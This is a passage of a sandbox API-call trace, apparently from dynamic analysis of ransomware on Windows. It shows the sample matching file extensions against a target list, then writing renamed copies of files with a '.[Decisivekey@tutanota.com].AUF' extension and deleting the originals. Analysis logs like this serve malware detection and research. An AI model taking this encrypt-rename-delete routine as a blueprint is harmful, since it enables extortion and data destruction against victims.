lstrlenW (lpString=".xls") returned 4 [0214.015] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString=".xlsx") returned 5 [0214.015] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.015] lstrlenW (lpString=".ppt") returned 4 [0214.015] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".zip") returned 4 [0214.015] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString=".rar") returned 4 [0214.015] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString=".bz2") returned 4 [0214.015] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString=".7z") returned 3 [0214.015] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".dbf") returned 4 [0214.015] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".1cd") returned 4 [0214.015] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".jpg") returned 4 [0214.015] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".doc") returned 4 [0214.015] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString=".docx") returned 5 [0214.015] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.015] lstrlenW (lpString=".pdf") returned 4 [0214.015] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.015] lstrlenW (lpString=".xls") returned 4 [0214.015] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString=".xlsx") returned 5 [0214.015] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.015] lstrlenW (lpString=".ppt") returned 4 [0214.015] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.015] lstrlenW (lpString=".zip") returned 4 [0214.015] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.015] lstrlenW (lpString=".rar") returned 4 [0214.015] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.016] lstrlenW (lpString=".bz2") returned 4 [0214.016] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.016] lstrlenW (lpString=".7z") returned 3 [0214.016] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.016] lstrlenW (lpString=".dbf") returned 4 [0214.016] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.016] lstrlenW (lpString=".1cd") returned 4 [0214.016] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0214.016] lstrlenW (lpString=".jpg") returned 4 [0214.016] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.016] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0214.016] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0214.016] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.019] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=18380) returned 1 [0214.019] CloseHandle (hObject=0x204) returned 1 [0214.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0214.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0214.019] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.020] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.020] GetLastError () returned 0x0 [0214.020] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0214.029] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0214.030] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.030] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.030] SetEndOfFile (hFile=0x214) returned 1 [0214.030] CloseHandle (hObject=0x214) returned 1 [0214.031] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.031] SetEndOfFile (hFile=0x204) returned 1 [0214.031] CloseHandle (hObject=0x204) returned 1 [0214.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.032] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString=".doc") returned 4 [0214.032] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.032] lstrlenW (lpString=".docx") returned 5 [0214.032] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.032] lstrlenW (lpString=".pdf") returned 4 [0214.032] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.032] lstrlenW (lpString=".xls") returned 4 [0214.032] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.032] lstrlenW (lpString=".xlsx") returned 5 [0214.032] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.032] lstrlenW (lpString=".ppt") returned 4 [0214.032] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString=".zip") returned 4 [0214.032] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.032] lstrlenW (lpString=".rar") returned 4 [0214.032] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.032] lstrlenW (lpString=".bz2") returned 4 [0214.032] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.032] lstrlenW (lpString=".7z") returned 3 [0214.032] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString=".dbf") returned 4 [0214.032] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString=".1cd") returned 4 [0214.032] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.032] lstrlenW (lpString=".jpg") returned 4 [0214.032] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString=".doc") returned 4 [0214.033] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString=".docx") returned 5 [0214.033] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.033] lstrlenW (lpString=".pdf") returned 4 [0214.033] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString=".xls") returned 4 [0214.033] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.033] lstrlenW (lpString=".xlsx") returned 5 [0214.033] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.033] lstrlenW (lpString=".ppt") returned 4 [0214.033] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString=".zip") returned 4 [0214.033] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.033] lstrlenW (lpString=".rar") returned 4 [0214.033] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.033] lstrlenW (lpString=".bz2") returned 4 [0214.033] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString=".7z") returned 3 [0214.033] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString=".dbf") returned 4 [0214.033] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString=".1cd") returned 4 [0214.033] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0214.033] lstrlenW (lpString=".jpg") returned 4 [0214.033] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.037] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.037] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.037] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0214.037] GetLastError () returned 0x0 [0214.037] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0214.040] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0214.041] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.041] WriteFile (in: hFile=0x214, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0214.041] SetEndOfFile (hFile=0x214) returned 1 [0214.041] CloseHandle (hObject=0x214) returned 1 [0214.041] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.042] SetEndOfFile (hFile=0x204) returned 1 [0214.042] CloseHandle (hObject=0x204) returned 1 [0214.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0214.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.043] lstrlenW (lpString=".doc") returned 4 [0214.043] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0214.043] lstrlenW (lpString=".docx") returned 5 [0214.043] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0214.043] lstrlenW (lpString=".pdf") returned 4 [0214.043] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0214.043] lstrlenW (lpString=".xls") returned 4 [0214.043] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0214.043] lstrlenW (lpString=".xlsx") returned 5 [0214.043] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0214.043] lstrlenW (lpString=".ppt") returned 4 [0214.043] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0214.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.043] lstrlenW (lpString=".zip") returned 4 [0214.043] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0214.043] lstrlenW (lpString=".rar") returned 4 [0214.043] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0214.043] lstrlenW (lpString=".bz2") returned 4 [0214.043] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0214.043] lstrlenW (lpString=".7z") returned 3 [0214.043] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0214.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.043] lstrlenW (lpString=".dbf") returned 4 [0214.043] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0214.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.043] lstrlenW (lpString=".1cd") returned 4 [0214.043] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0214.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0214.044] lstrlenW (lpString=".jpg") returned 4 [0214.044] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0214.044] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.044] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.044] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0214.055] GetLastError () returned 0x0 [0214.055] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xa6c, lpOverlapped=0x0) returned 1 [0214.114] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xa70, lpOverlapped=0x0) returned 1 [0214.116] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.116] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xea, lpOverlapped=0x0) returned 1 [0214.116] SetEndOfFile (hFile=0x180) returned 1 [0214.116] CloseHandle (hObject=0x180) returned 1 [0214.116] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.116] SetEndOfFile (hFile=0x204) returned 1 [0214.117] CloseHandle (hObject=0x204) returned 1 [0214.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.117] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif")) returned 1 [0214.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.117] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.118] lstrlenW (lpString=".doc") returned 4 [0214.118] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0214.118] lstrlenW (lpString=".docx") returned 5 [0214.118] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0214.118] lstrlenW (lpString=".pdf") returned 4 [0214.118] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0214.118] lstrlenW (lpString=".xls") returned 4 [0214.118] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0214.118] lstrlenW (lpString=".xlsx") returned 5 [0214.118] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0214.118] lstrlenW (lpString=".ppt") returned 4 [0214.118] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0214.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.118] lstrlenW (lpString=".zip") returned 4 [0214.118] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0214.118] lstrlenW (lpString=".rar") returned 4 [0214.118] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0214.118] lstrlenW (lpString=".bz2") returned 4 [0214.118] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0214.118] lstrlenW (lpString=".7z") returned 3 [0214.118] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0214.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.118] lstrlenW (lpString=".dbf") returned 4 [0214.118] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0214.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.118] lstrlenW (lpString=".1cd") returned 4 [0214.118] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0214.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0214.118] lstrlenW (lpString=".jpg") returned 4 [0214.118] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0214.119] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.119] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.119] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0214.119] GetLastError () returned 0x0 [0214.119] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0214.193] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0214.198] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.198] WriteFile (in: hFile=0x180, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0214.198] SetEndOfFile (hFile=0x180) returned 1 [0214.198] CloseHandle (hObject=0x180) returned 1 [0214.198] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.198] SetEndOfFile (hFile=0x204) returned 1 [0214.201] CloseHandle (hObject=0x204) returned 1 [0214.201] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0214.201] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0214.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.201] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0214.201] lstrlenW (lpString=".doc") returned 4 [0214.201] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString=".docx") returned 5 [0214.201] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0214.201] lstrlenW (lpString=".pdf") returned 4 [0214.201] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString=".xls") returned 4 [0214.201] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString=".xlsx") returned 5 [0214.201] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0214.201] lstrlenW (lpString=".ppt") returned 4 [0214.201] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0214.201] lstrlenW (lpString="C:\\Program Files\\Common 